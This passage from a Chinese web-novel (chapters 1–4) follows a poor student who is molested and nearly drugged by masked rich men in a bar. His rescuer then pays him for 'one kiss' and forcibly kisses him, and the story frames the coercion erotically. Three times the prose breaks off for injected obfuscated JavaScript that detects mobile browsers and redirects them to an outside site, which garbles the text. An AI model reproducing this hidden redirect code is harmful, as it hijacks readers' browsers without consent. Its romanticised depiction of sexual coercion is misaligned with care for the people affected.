《不要和学弟拍暧昧照啊！》 1. 第 1 章 晚十点，临州市中心地下酒吧。 舞池人头攒动，昏暗的环境只余霓虹闪烁，碎片光点印在厚重的粉底上，鼓噪的音乐震得人心里发颤。 后台，一只瓷白手臂穿过白衬衫袖口，那人微垂头，将领带绕脖系在颈前，标志的眉形习惯性的轻蹙起，偶有灯光射进来，照进他的眼睛里，琥珀琉璃珠反出如水的光，可偏偏眼尾又要往上勾。 矛盾且诱人。 初雪将西装裤和马甲换好，准备开始今晚的工作。 酒吧今晚来了笔大生意，尘封许久的顶级包厢来了一群富二代，店内人手不足，他被紧急叫来帮忙。 初雪单手稳稳地托着托盘，托盘上是五颜六色的洋酒，不仅有店里面卖的基础款式，连老板自己珍藏的红八加一都拿了出来。 刚摸上门把手，就听见包厢里面传出的各式各样嘈杂的声音。 大门打开，离门最近的一颗猪头倏地看了过来，初雪呼吸微窒，心下漏跳两拍，用余光细看两眼，才发现原来只是一个仿真面具。 他不着痕迹地观察四周，舞台上男模的钢管舞跳得清凉、火辣，吧台有几对“露水情缘”正吻得火热，同时，沙发卡座烟雾缭绕，陪酒被领带蒙着眼，跪在几个面具男的腿边，两点鲜血淋漓，被纯金首饰穿了针。 还没等初雪适应这场面，一串轻佻的流丨氓哨在他的耳边炸开，强势地捣进他的脑子里。 是那个猪头。 他正饶有兴致地望向自己的方向。 初雪咬了咬口腔的软肉，脚下退了半步，手指甲不自觉地扣着托盘的底部，留下了浅浅的痕迹。 猪头走到初雪身边，目光毫不掩饰地上下扫视面前的服务员，看服务员略显退怯，猪头清了清烟嗓，手攀上初雪的身体，暧昧地上下揉捏过他的手臂和肩膀，“你在怕我啊？” 滚烫的体温穿透薄款的布料，手汗从细线缝隙中渗进，抹在初雪微凉的皮肤上。 初雪只觉一阵凉意席卷全身，腿部肌肉一鼓一鼓，心里萌生逃跑的冲动，然而面上还要微笑道：“没有，先生，我是来送酒的。” 他在酒吧也有所耳闻，说临州市富二代鱼龙混杂，喜欢开一些特殊的party，但这是他第一次遇到。 这边的动静将沙发卡座上几双黑窟窟的眼洞吸引过来，他们摇着酒杯，红的混着洋的，随手灌进身旁陪酒的嘴里，互相推搡调笑。 “这不是你的菜？诶，走后门儿真能舒服吗？” “怎么？你想试试了？” “这长得带劲儿，你带带我呗。” “成啊。” 沙发卡座上，一个戴着小丑面具的男人冲初雪招了招手，猪头在旁一唱一和：“送那儿去吧。” 初雪无意得罪富人，却也不愿久待，他快步走上前，俯身迅速地将酒一一放在桌台上，可还没等他直起腰，一只手擒住了他的后颈，赫然又是一个没见过的歌剧面具。 “别着急啊宝贝儿，刚来就走，下我面子啊。” 那只手冰凉，娴熟地摩挲着初雪颈后嫩白的皮肤，与此同时，尼古丁的气味幽幽散开，那人手上还夹着一支富春山居，猩红的烟头距离初雪的皮肤不过一寸，手腕一个婉转，烟灰就簌簌往下掉，落进初雪的衣领里。 初雪被这又冰又烫的触觉激得一颤，仍保持着弯腰的姿态，强装镇定道：“先生，您的酒已经送完了，如果有其他需要——” “欸——”初雪话还没说完，一旁的猪头开口打断，他拍拍身边的沙发软座，示意道，“跑上跑下送酒多累啊，你坐下来，跟哥哥们喝几杯。 他的身子逐渐向前压进，直勾勾地盯着初雪被马甲勾勒出的腰身，“聊几句，赚的可就不是小钱了。” 说着，他从钱包里随手抽出几张钞票，啪得放到桌上，推到初雪眼前，看着初雪的身段，他舔了舔干燥的嘴唇，往后仰身，仿佛势在必得。 服务员的制服非常合身，初雪的肩膀宽度适当，不会太宽影响美感，不会太窄撑不起衣服，一切都恰到好处。往下延伸，那弯着的细腰不堪一握，单单如此也就算了，偏偏被西装裤勒住的臀丨部生得圆润饱满，让人眼热。 有些小咖也想来分一杯羹，纷纷“劝”道。 “陪一个也是陪，陪两个也是陪，你跟我一晚上，赚的也比送酒的多啊。” “你这说的什么话？咋的，你要跟秦少抢开丨苞啊？” “我哪敢啊，等秦少玩完了我再尝尝，我比较喜欢玩熟的，会喷水更好。” 此粗鄙话一出，众人发出一阵爆笑。 “说不定都不是个雏呢，长成这样，估计早就被玩透了。” “这不简单，直接验验呗。” 他们说着笑着，直接就把初雪摁倒在满是酒杯的桌台上，没有一个人听初雪在讲什么。 酒液翻倒，浸湿了他的衬衫，染得花花绿绿。 跪在旁边的陪酒不知道现场是什么情景，嘴里还在裴少秦少一个劲儿的甜甜地叫。 吵着人了，就被狠狠踹上一脚。 小丑用皮鞋的鞋尖碾着陪酒被穿针后的一点，恶劣地旋转着，看着对面疼到扭曲的面部表情，甚是愉悦的将目光放在新得到的玩具上。 “今晚你先？”歌剧一手将初雪抓进怀里，另一只手随意操起桌上的酒杯，就往初雪嘴里灌，“我对开丨苞没兴趣。” 不管初雪如何奋力反抗，自身的力量还是不比歌剧，一杯酒就这么突然地灌进了他的喉间，初雪剧烈地呛咳起来，眼尾殷红，眼中覆盖了一层水光的壳，好像轻轻一戳就会碎掉。 “咳……别！不要、不要这样！”初雪撕心裂肺地喊着，烈酒将咽喉烧了起来，大部分都被他呛了出来，酒液从嫩红的嘴里流出，顺着下巴滑过脖颈落进白净的衣领上。 好脏，好可怜。 歌剧捏玻璃杯的手莫名一顿，轻啧了声，话音里带了些遗憾。 小丑见歌剧这么磨蹭，歘得站起身来，直接上前撕扯初雪，“这张嘴不乖就灌那张嘴，吸收酒精更快，烂成泥了随便怎么玩。” 初雪闻言瞪大了双眼，漂亮的眸子满是惊恐，他抗拒的动作更加激烈，可双拳难敌四手，这些面具人轻而易举就控制住他。 在这危急时刻，“砰——！”一声巨响，把所有人都吓得止住了动作。 激昂的动感音乐突兀地停了下来，DJ台上，打碟机被砸了个稀巴烂，一个戴着覆面、只露出双眉眼的男人随意地将手中椅子扔了出去。 小丑从初雪身上下来，抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203404|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞅了眼来人，嘲讽道：“呵，这不是我们谢大公子吗，之前一直请你都不来，一来就摆这么大阵仗？” 覆面的眼珠子黑如深渊，他只是沉沉地看了一眼沙发上的小丑，一言不发。 神奇的是，尽管小丑的态度并不算客气，可覆面一路走下来，直至初雪的身前，也没人敢拦着他。 他眼中倒映着初雪此刻的模样。 初雪的头发散乱，警惕地盯着他，他半撑起身子渐渐往后缩，颈前领带凌乱不堪，衬衫上浸满了各色各样的酒液。 “以前倒不知道你有这爱好。”小丑见覆面看着新玩具，大方地耸了耸肩，“算了，多你一个不多，少你一个不少。” “呵——哈哈哈哈。”覆面嗓子里发出带着气音的哼笑，可那双眉眼却看不到一丝笑意，反而充斥着阴鸷，他烦躁地抓了抓后颈，顷刻间，那笑声又突然停了下来，场面安静得可怕。 他渐渐逼近小丑，手指轻划灌初雪时用的玻璃杯，他用指腹将上面凌乱的唇印抹掉，懒懒道：“之前总想着你还有一点价值，现在看你是越来越蠢，蠢得让人有点生气。” 随着最后一个话音落下，覆面将玻璃杯徒手捏爆在小丑的眼前，碎片一部分扎进他的手里，一部分飞溅在小丑的潮服上。 “卧槽——！” 鲜红的血液混和着残存的酒液，顺着那骨节分明的手滴滴答答落在地上。 在场所有人盯着地上那一摊液体，大气都不敢喘。 小丑退后半步，眸中含着一丝畏惧，他没想到覆面如此直白，一点情分都不顾，要是在这时他还陪着笑，就真成了蠢人了。 可这毕竟是他的场子！ “凡事讲究个先来后到，谢大少这么做事，不太厚道吧。” “厚道？秦少也讲究厚道？”覆面将桌上的纸币一把操起，甩在小丑的面具上，“五张纸币就想让我的人喝你的酒，厚道吗？你配吗！” 小丑的胸膛肉眼可见地上下起伏着，显然被羞辱后，气得不轻，可都到这地步了，他还是没有更多的动作。 覆面转身往初雪身旁靠去，初雪看见他的动作，像是应激一般，抬脚就往他的腹部踢来，好在覆面反应快，一把抓住他的脚腕，莹润的肌肤嵌进掌心，他低头一看，才发现服务员的鞋子都被扯掉了一只，袜子松松垮垮地挂在上面。 “我带你走。” 覆面轻叹一口气，语调和刚刚判若两人，他的目光坚定，似乎是怕再次吓到初雪，他这次只是缓慢俯身靠近。 “抱紧我。” 初雪很快也冷静了下来，应付一个人肯定比应付一群人容易得多，想通这点，他毫不犹豫地伸手勾住眼前人的脖子，覆面单臂将他横抱了起来。 初雪抚摸到覆面衣服底下隆起的肌肉，神色凝重，他回想起刚刚被这人徒手捏爆的玻璃杯，若是晚点真打起来，他好像也没有什么胜算。 小丑见自己刚看上的猎物就这么被抢走，拳头捏得死紧，表面还故作轻松，“你的人？我怎么没听说过，什么时候的事？” 覆面将初雪掉在的鞋子勾起，挑了挑眉，“刚刚。” 说完，他不管小丑此刻面具底下的脸有多扭曲，带着初雪径直离开了包厢，周围的人群也自觉让出一条路。 2. 第 2 章 离开了包厢，地下酒吧的装修风格一致，走廊也没有安置亮光，反而是一种昏昏的暗黄光，其上有柔和的霓虹灯效，在这里还能隐隐约约能听见舞池大厅的音乐声。 “谢谢。”一道清亮的男声响起，初雪动了动腿，试探道：“先生，您可以放我下来了。” 明明现在他在高位俯视，可当覆面抬头看他时，仍有一股强烈的压迫感。 不知道是因为覆面的瞳孔太黑，还是两人有不小的体型差，覆面盯着他时，就像是某种隐藏在黑暗中的野兽，让他无端有些害怕。 初雪如愿以偿，被轻放了下来，可是放下的地点却是在墙角。 他的两边是光滑的瓷砖，身前是滚烫的躯体，被困得严严实实。 初雪一只脚上还没有穿鞋，只能踮着踩在身前人的运动鞋上。 “我看着，像是做慈善的吗？” 覆面垂着头，幽幽的声音从面罩中传出，有些失真。 初雪眨巴眨巴眼，“你…要多少钱？” 对方若是狮子大开口，他也给不起，但话题肯定得往钱上引。 覆面在嗓子里哼出一声轻笑，显然是看穿了初雪的小九九，他没有回答初雪这个装傻充愣的问题，自顾自说道，“那些人都是临州有名的富二代，玩得很花，出了不少的事。” “所以，今天我带你出来，可是把他们都得罪了，你要怎么报答我？嗯？”说着覆面又往前进了一步。 初雪退也不能退，两只手安分的放在两侧，“我还是……” 赔你点钱吧。 初雪欲哭无泪，可话没说完，覆面反应比他还快。 “我不缺钱。” 铿锵有力。 “那你想要什么报答？”他破罐子破摔，不乐意跟覆面打哑谜了，事情不会比在包厢被人灌酒更糟糕了。 覆面看了眼初雪的脸，又低下头去看地板，他的喉结难耐地上下滑动两轮，沉默了好半响，他才轻声道：“你能不能让我￥&%。” “什么？”本来面罩就闷，覆面还说得这么小声，初雪歪了歪脑袋。 在初雪疑惑的目光中，覆面沉下眉眼从钱包里抽出一沓纸币，那厚度保守估计有三千人民币。 好多钱。不过……富人都更喜欢带现金吗？猪头也是在钱包掏现金。 覆面凝视着初雪的脸，将纸币卷成圈，放在他的手边，快速地重复一遍刚刚说过的话。 “你……能不能让我亲一口？” “什么？！”初雪惊呼出声，条件反射伸手就要推开这个男人。 谁知覆面一把握住初雪的手，立马又往上衣口袋里掏了一把零钱，塞进他的手心里。 零钱很散，五块十块，甚至连硬币都有，覆面的声音有点发紧，“不够的话外面有ATM机，我就亲一口，别的什么都不会干。” 他着重强调了“一口”的重音。 硬币有点咯手，或许是刚被覆面救出包厢，或许是喝了一点酒，又或许是他实在太缺钱，初雪垂着头看向手边的三千块，内心首次出现了动摇。 三千块不是五张毛爷爷，有了这三千块，他这一年的学费就有着落了，还有……妈妈的医药费。 初雪狠狠地咬了一口下唇内侧，他将覆面手里的钱接了过来，强调道：“说好了，一口，不能反悔。” “不反悔，我绝不反悔。”覆面见初雪态度松动，迅速回应，生怕慢了一秒。 初雪点了点头，微微仰起了脸。 很乖。 覆面的身体迅速升温，呼出的热气充斥在面罩里。 只需轻微俯身，宽厚的身躯就能将初雪整个人包裹住，就连闪烁的霓虹灯都照不进来，他伸手遮盖住初雪的眼睛。 他的脸在自己的手掌下显得格外小。 覆面将脸上的面罩勾下，初雪身上的淡淡的香味瞬间涌进他的鼻腔。 那是一股清新的茶香气味，隐隐约约还夹着点微苦，恰到好处。 他猛地吸了一口，呼吸间，热气喷洒到初雪的脸上。 视觉被剥夺，其他的触觉就会格外敏感，初雪被这温度吓了一跳，肌肉绷紧起来，身体无意识地往后缩，可下一秒，在上方压着的男人就勾着他的腰，把他托了回来。 紧接着，一记轻轻的滚烫的吻落在了他的嘴角。 空调吹着24度的风，初雪怎么想都想不明白，这人为什么会这么烫。 但是这些都跟他没关系了，很快就能结束了。 几息后，初雪在这个轻吻里慢慢放松下来，他推了推覆面的胸，想让他起身，可贴在他唇角的吻却凝滞了般，迟迟不见抬起。 就在初雪疑惑之际，覆面的呼吸突然急促起来，死死地将他箍在怀里，不等初雪反应，就粗暴地挪动嘴唇，碾上那柔嫩的唇瓣。 “唔！”初雪一下子慌了神，蹙着眉想扭头躲开。 覆面见状，直接将腿卡进初雪的双腿之间，任凭初雪怎2么使力推搡他，他都纹丝不动，同时用另一只捏住初雪的下颌，将他的乱动的头部固定住。 初雪的唇被肆意蹂躏，呜咽声时不时地从嗓子里哼出来，那精致的下巴也被口水弄得湿漉漉的。 初雪的眼睛快速眨动，睫毛狂颤，扫在覆面的掌心。 这人是什么意思！只要不松开这个吻，就是一口吗？！ 更可怜的是，他现在根本不敢张嘴，不敢喊救命，一句话都不敢说。 突然！初雪脑子发白一瞬，瞳孔骤缩，感受到一丝不同寻常，今晚那股气终于突破胸口，直直地冲上他的天灵盖。 什么不能招惹麻烦，不能得罪富人，统统被他抛在脑后。 初雪深吸了口气，力度精准，不偏不倚，正正好命中靶心。 沉闷的哼声响起，覆面终于松开了嘴，他的腿收了回来，脚步不稳地向后退去，可这还没完。 “啪——！”的一声巨响。 一巴掌狠狠地甩在他的脸上，覆面直接被扇得跪在地上，他垂着头，弓着腰，看不清神情，只有一滴接着一滴的汗落在厚厚的地摊上，形成深深的污渍。 “无赖！” “混蛋！！” “混账！！！” 初雪的眼睛被气得起了雾气，眼白隐隐发红，染到眼睑，还有渐渐向下蔓延的趋势，他的嘴巴嚅嚅嗫嗫，半响才想出来这些个暧昧的、骂人的词。 骂完了人，初雪转头就想跑，可刚起步，脚踝却被那只大手抓住了，慌乱间，他只能用力蹬腿，牺牲了一只袜子，这才勉强脱身。 等上到车，吹了五分钟的凉风，初雪才渐渐缓过神来。 会被报复吗？那一脚不会踹出个好歹吧？ 毕竟他用了全力。 看着手心里那一圈人民币，初雪揉了揉眼尾。 这种钱也不是很好赚的，他把自己的初吻都卖掉了。 - 幽暗的二楼酒吧，谢黎缓完痛楚，额头鬓角浮出一层水光，他靠着墙壁坐在地上，五光十色的灯光照在他的棱角分明的侧脸上，分割成一明一暗。没多久，他的颊边渐渐显现可怖的红色巴掌印，上边儿的指节根根分明。 谢黎的肩膀一抖一抖，低低的哼笑回荡在酒吧二楼，他将初雪遗落在案发现场的袜子团了团，若无其事地踹进了自己的口袋里。 脸上的表情尽是餍足。 操…… 好爽…… 镜头下移。 受到暴击后仍旧生龙活虎。 - 车在临州大学停下。 初雪警惕地环顾四周环境，确认没人跟着他，才往学校里走去。 好在他逃跑时将自己的皮鞋顺了回来，不然又要自费买一双。 浪费钱。 初雪给酒吧老板拨去一个电话，还没等他为自己早退道歉，电话那头，酒吧老板先开了口。 “没事没事，今晚还是我麻烦你了，现在店里也没那么忙了，你早些休息，今晚的工资我直接打给你。” “啊……好。” 老板怎么突然这么好说话了？平时日结的工资他总是要催个两三天才给，偶尔下班，看他急匆匆要回学校，还会蛐蛐两句，怎么现在这么干脆利落？ 初雪看着挂掉的电话，还没等他想清楚，转账的消息就弹了出来。 钱一到账，初雪也懒得去琢磨老板的脾性。虽然今天早退了，但今晚三倍的工资没有扣一分，他嘴角抹开一丝淡淡的笑容，或许明天他能休息一下。 难得这么早回到学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203405|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，初雪回到宿舍时，灯还亮着。 “看我位置看我位置！等我开团。”一名舍友坐在床上打游戏，看到初雪回来，将耳边一只耳机取下，抽空问道，“初雪？今天怎么回来这么早？” 另外一名舍友戴着口罩在床帘里做单片机，听到声音，赶忙将床帘拉开，稀奇道：“是啊，灯还没关你就回来了。” 其他三三两两原本在激情畅聊，看到他进门，也止住了话口。 初雪随便编了个理由，将话题转回他们身上，“在聊什么？” “我们在聊明天那个，大一新生入学的事。” 杜华南瞟了一眼答话那人，暗暗翻了个白眼，他自上而下观察初雪，皱了皱眉，“你今晚去哪儿了？” “打工啊。”初雪将脖子上的领带扯了下来，嫌弃地闻了闻自己身上的酒味，随即从衣柜里翻出自己的睡衣，准备去洗澡。 杜华南撇撇嘴，凝望着初雪的背影，轻声呢喃，“是正经地方吗……” “嗯？”初雪没有听清。 “没事。”杜华南面色发沉，没有多说什么。 一开始跟初雪搭话的舍友见初雪要去洗澡，好心提醒道：“初雪，你洗快点，晚点可以抢志愿。” “好。” 明天大一新生入学，学校特别安排了迎新志愿活动，只要接够一到两名新生，带他们完成入学登记，就能累计0.2实践分。 临州大学要求每位学生四年累积实践分至少要2分，否则不能毕业，而在校外，满三小时志愿才能有0.1分，故而这次的志愿争抢很是火热。 初雪进到浴室，将身上的马甲脱下，刚要解开身上黏腻的衬衫，手机叮咚一声，弹出来一条新消息。 来自一个名为小白鼠的app。 小白鼠是现在国内做的最好的互联网图文软件，在短视频兴起的时代，它用图文强势开辟了一条新赛道，随着软件的完善，现在小白鼠也可以发短视频，只是图文依旧是主要流量来源。 初雪将小白鼠打开，私信冒着一个小红点。 【现在还卖照片吗？】 雪饼：【卖的。】 【现在是什么价？】 初雪将最初定的价发给他，没多久，对面回了信。 【这么贵？隔壁女装玩道具的还比你便宜一半。】 初雪抿了抿唇，其他博主的价再怎么便宜，也不可能便宜这么多，这人是故意这么说，想借此想压他的价。 但他确实没有别人会玩花样。 手机那边继续弹新消息： 【你帖子又不露脸，还都是拍一些肩膀腹肌，你给我打个折呗，要不是我喜欢白皮弟弟，我都不想花这个冤枉钱，你现在流量还这么差，打个折哥哥给你清库存行吧。】 初雪看着消息无力地叹了口气，这人话说得很难听，但却是实话。 在图文刚兴起时，他发这些照片保底都有五万以上的浏览量，因为流量好数据高，偶尔还能接到品牌广告，卖些暧昧照片来赚钱。 可现在随着市场饱和，僧多粥少，所有人都在卷，而初雪没有团队没有成本，第一个被卷死的就是他。现在，他的浏览量只有可怜的三百，最糟心的是，一旦更新帖子，他就会开始掉粉。 初雪做了退步，毕竟现在几乎没有人买他的照片了。 雪饼：【打八折可以吗？】 【行吧行吧，那你能不能现在拍一张给我看看，原相机，不想买的照片是p出来的，倒胃口。】 雪饼：【可以的。】 这个要求对初雪来说很简单，他在小白鼠的图片本来就都是原图，恰好，宿舍的浴室就有一面全身镜，初雪抬头随意地瞥了镜子一眼，随后像是发现了什么，他微微睁大眸子，往镜面走去。 镜子里的他嘴唇殷红，唇周还残留着淡淡的粉色痕迹，看起来就像是被人里里外外，狠狠地嘬透了。 他颤颤抬起手，临了临了又不敢触摸上去。 在乱七八糟包厢里，他依稀记得小丑说什么xie大公子，也就是说，今晚最后冒犯他的那个覆面，他姓xie。 应该是姓屑吧，初雪在心里恶毒地想，覆面的姓就跟他这个人一样糟糕！ 初雪猛地把浴室门重重地关上。 3. 第 3 章 初雪洗完澡，爬上床，脸颊上透着被热气蒸熟的粉。 又赚了一笔小钱，除掉一些小插曲，他的心情还算愉悦。 这次的志愿初雪不抱什么希望，原因也很简单，他的手机很卡，平时用来打打电话回回微信就差不多了，什么抢志愿抢课，他都只能捡到别人剩下的。 上学期抢体育课的时候，就被自动分配去了游泳。 天知道他从来没有下过泳池。 摁下申请键后，加载的圈圈一直在转，初雪就没有再关注。 他将今晚意外挣的那一卷钱数了数，不算不知道，一算下来竟然有整整五千二，这甚至没加上后面塞进他手心的零钱。 初雪抿了抿唇，这种钱他第一次挣，难免有些不安。 更别说他还踹了覆面的裆，甩了他一巴掌。 有点连吃带拿的意思。 “嘟…嘟…嘟——” 放在一旁的手机震动起来。 初雪皱了皱眉，这个点有谁会给他打电话？覆面来找他算账来了？ 他拿起手机一看，是个陌生号码，初雪心一横，将电话接了起来。 大不了把钱还给他，他初雪也不想受这委屈。 “喂！”自以为凶巴巴地吼了一声。 出乎意料，电话那头是一道女音，“喂，你好，是初雪同学吗？” “啊…是的，你好。”气势瞬间软了下来。 “我刚刚加不上你的微信，你抢到志愿了，请尽快入群，我们会分配大一新生给你。” “哦！好的！不好意思啊。” 女音善解人意，“没事没事，尽快入群吧。” 初雪懵懵地把手机后台切出来一看，发现竟然真的抢到志愿了，等到他入群时，其他人都已经分配好了新生。 于是他只能选择最后剩下的那个。 是个学弟。 “谢……黎？”初雪轻声念出屏幕上的文字。 他今天晚上是捅了姓xie的窝吗？带的新生正好又是这个发音的。 初雪带着气，用力戳着手机屏幕，将谢黎的资料点开，里面有谢黎的照片和大致到校时间。 照片中，谢黎戴了个黑框方框眼镜，他的嘴角扬起，热情洋溢，脸颊上还有个酒窝，满满的少年气。 看起来很乖，像个好学生，初雪没忍住多看了两眼，长得也挺合他眼缘。 资料上说，谢黎预计到校时间是明日十点半。 初雪给奶茶店老板打了个电话，向他请了半天的假，早上先去接新生，下午再去摇奶茶。 又是充实的一天。 初雪将钱放在枕头底下，美美地抱着自己的小旧熊玩偶睡着了。 学费搞定后，他整个人轻松了许多。 - 阳光明媚，九月份的临州的气温不冷不热。 初雪提前了十分钟到校门口，这里人群乌泱泱一片，他找了许久才跟志愿者们集合，前脚刚到，后脚就听到有人在抱怨。 “他在资料上写了早上九点到，我现在等了一个小时，电话不接信息不回，现在跟我说睡晚了，下午才能到，让我白等这么久，真无语。” “别说了，我这边这个还想让我到地铁站接他呢，说不认路。” “这也太奇葩了……” 初雪听到此起彼伏的哀嚎声，心下也捏了一把汗。 他下午还要打工，如果谢黎也下午才来的话，那他今天都没有收入了。 正想着，一阵滚轮声响起。 “咕噜咕噜——” 初雪顺着声音的方向看去，只见一个戴着方形黑框眼镜，身高可观的男生，穿着一身运动服，抱着一沓资料，往他们的方向快速跑来。 滚轮声来源于他手上的行李箱。 初雪一眼就认出了谢黎，他本人跟照片没什么区别，反倒是更加鲜活。 就是……他的颧骨的皮下怎么透着青紫？像是摔了。 就在他准备起身接谢黎时，谢黎一个抬眼，精准地跟他对上了眼神。 在这茫茫人海中。 那一瞬间，尽管隔着一层镜片，初雪也能感受到谢黎眼中的某种欣喜。 应该是因为刚开学，面对大学新生活，大一新生总是比较兴奋。 能理解能理解。 谢黎闪到初雪面前，弯着腰喘着气，微微抬眼自下而上地看着他，“对不起，学长，我下地铁晚了，你会不会等我太久了？” 谢黎的眼睛圆，眼头比眼尾高，这样抬眼看人，一片赤忱，就像是一只……大型犬。 “咳！没有很久，我也刚刚才到。”初雪被自己的口水呛到，心虚地移开了目光，毕竟在心里偷偷把人想成狗，怪不礼貌的，“你跟着我吧，我带你完成入学登记。” 初雪说完伸出手，上前帮忙谢黎推行李箱。 行李箱刚移到他的身前，下一刻，一只陌生、干燥的手，覆在初雪的手背上，谢黎就这样握着他的手，将行李箱滑了回去。 初雪歪了歪头，茫然地看着谢黎。 谢黎眼睛微眯，笑起来时颊边的酒窝很深，“学长我自己来就好，你来接我已经很辛苦了。” “好吧。”初雪点了点头，他跟谢黎对视着，刚刚有一瞬间，他总感觉在哪里跟谢黎见过，实在是想不起来了。 - 处理完入学手续，两人并肩往宿舍楼走去，阳光透过林荫在他们身上打上光斑。 谢黎的眼珠子咕噜转了一圈，“学长，我们学校有几个宿舍楼啊？” “几个？”初雪皱着眉想了想，大学占地面积大，宿舍分布广泛，他也只能说个大概，“大约有七八个吧。” “这么多？”谢黎惊叹，眨巴眨巴眼状似无意，“那学长住在哪个宿舍楼啊？” 初雪对谢黎的初印象很不错，没有设防，“我在临水书院。” 临水……谢黎不动声色地看了眼手机里学校的平面图。 眼底阴郁一闪而过。 他住在临渊，跟临水一个南一个北，两栋宿舍楼都快横跨一整座学校了。 之后谢黎又围绕着学校问了几个问题，初雪都一一耐心解答，没多久，两人就到了临渊书院。 “学弟，你的宿舍楼在403，这是你的宿舍钥匙。”初雪将钥匙和入学手册递交给谢黎，任务就圆满完成了。 谢黎接过钥匙，看着初雪离去的背影。 他将眼镜摘下，慢条斯理地用手帕擦着镜片，再抬眼，哪里还有初雪所看到的乖巧，眼里满满全是算计。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203406|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等到那人的身影消失在拐角，他这才抬脚往宿舍楼进去。 临渊是上床下桌四人间，谢黎一进门就见到一个宅男，坐在凳子上看手机。 为什么说是宅男？ 很简单，因为这人穿着印着二次元人物大头照的衣服，桌上透明的包还放着一排一排整齐的印章，还都是一模一样的印章。 宅男看到他进门，诧异地盯着他看了两三秒，随即低头看了眼手机屏幕，不确定似的又抬头看了他一眼。 “诶哥们儿，这是你吗？”宅男将手机放在谢黎的面前，惊讶道，“牛逼，刚来学校你就上电视了哥们儿。” 手机的画面是微信的朋友圈，一个叫做临大百事通的人发了个图片，上面还有配文： 【通通！捞一捞这个小哥哥，他的穿搭真好看，想认识认识。】 图片上是两个人，一人背着包拖着行李箱，另一人微侧着头，冲他笑着，漂亮的狐狸眼很是勾人，阳光似乎都格外偏爱他，印在他的脸上形成一层柔光。 说是谢黎上电视，其实画面的中心根本就不是他，他的神色微沉，手指继续往下划着屏幕，这个帖子已经筑起了高楼。 【馋人家的美色直接说，还穿搭真好看，死装。】 【这题我会，电子信息班的初雪。】 【+196】 【楼上的数字是什么意思？】 【初雪从大一入学到现在出现在校园墙的次数。】 【叽叽歪歪说这么多，就问有没有人给我甩联系方式？】 【给你也没用，初雪不加好友的，他微信关闭了加好友功能，手机号微信号二维码共同群，都加不到。】 【每年不知道多少人摸到初雪课表，堵在门口跟他表白，没一个成功的。】 【我记得不是有个学姐差点成功了吗？】 【这题我又会！学姐潜伏了一个月，直到某天按耐不住摸了摸初雪的手，下一秒立马被拒了哈哈哈哈，笑疯了。】 【这很好笑吗？】 【本人到场了，撤了。】 旁边的宅男还没有意识到气氛怪异，笑着八卦：“这个学长是你的志愿者吗？哇塞，他长得跟建模似的，猴晶喔。” 谢黎瞄了宅男一眼，二次元宅男夸人有别样的措辞，但他能听出来对方没有什么坏心思。 谢黎将手机还给宅男，宅男笑嘻嘻的，“哥们儿！我叫关十一，你叫啥？” “谢黎，黎明的黎。”谢黎找到自己的床位，坐在凳子上。 没多久，另外两个舍友相继抵达宿舍，关十一是个热心的，又拿出校园墙的帖当引子，迅速跟其他人打成一片。 一名舍友铺着凉席，随口聊刚刚看的图片：“他有没有女朋友啊？” “看底下的评论，应该是没有的。”关十一回道。 “说不定有男朋友呢？他这样的，跟男的谈跟女的谈都不奇怪吧。” “这就不清楚了。诶！晚些收拾完行李一起去吃饭吧，谢黎你跟我们一起吗？” 谢黎像是对这些帖子不感兴趣，只是闷头翻着行李箱，没有跟他们过多交谈，听到关十一的问话，他淡淡嗯了声。 镜头下移，谢黎的行李箱里的物品乱糟糟，翻了半天也不知道在翻些什么。 4. 第 4 章 纯白色的纱帘挡不住阳光，一只莹白手臂挂在上铺的栏杆上。明明单人床也不算太小，可床上那人儿偏偏要侧着身往外挤，背后空出一大块。 “稍息！立正！！！123——4！” “123——4！” 纯人工闹铃响起，今天是大一军训的第四天，每天一大早就能听到他们训练的声音。 对此，学长学姐们怨声载道，校园墙上这几天骂得一句比一句狠，完全忘记了自己也是从大一过来的。 初雪的眼皮动了动，挣扎地睁开双眼，刚撑起半边身子，左右不过是一秒的时间，脑袋又栽进枕头里。 他每天晚上都睡得很熟，可以做一晚上的梦，梦里面天马行空，什么都有，可代价就是睡眠质量奇差，永远都睡不饱。 初雪伸手勾住床边栏杆，迷迷瞪瞪地下了床。 他昨晚梦见什么来着？ 初雪把牙刷咬在嘴里，绵密的泡泡溢了出来，他伸手拧开水龙头的开关接水，将嘴里面的泡沫吐干净。 好像是在打怪，打一个蒙面怪，他在梦里有天生神力，几乎是单方面碾压，后面打着打着，蒙面怪突然把面具摘下来了，然后…… 将他摁在墙上，嘴唇贴了上来。 初雪一把将洗脸的毛巾扔回了盆里，自个儿怄气。 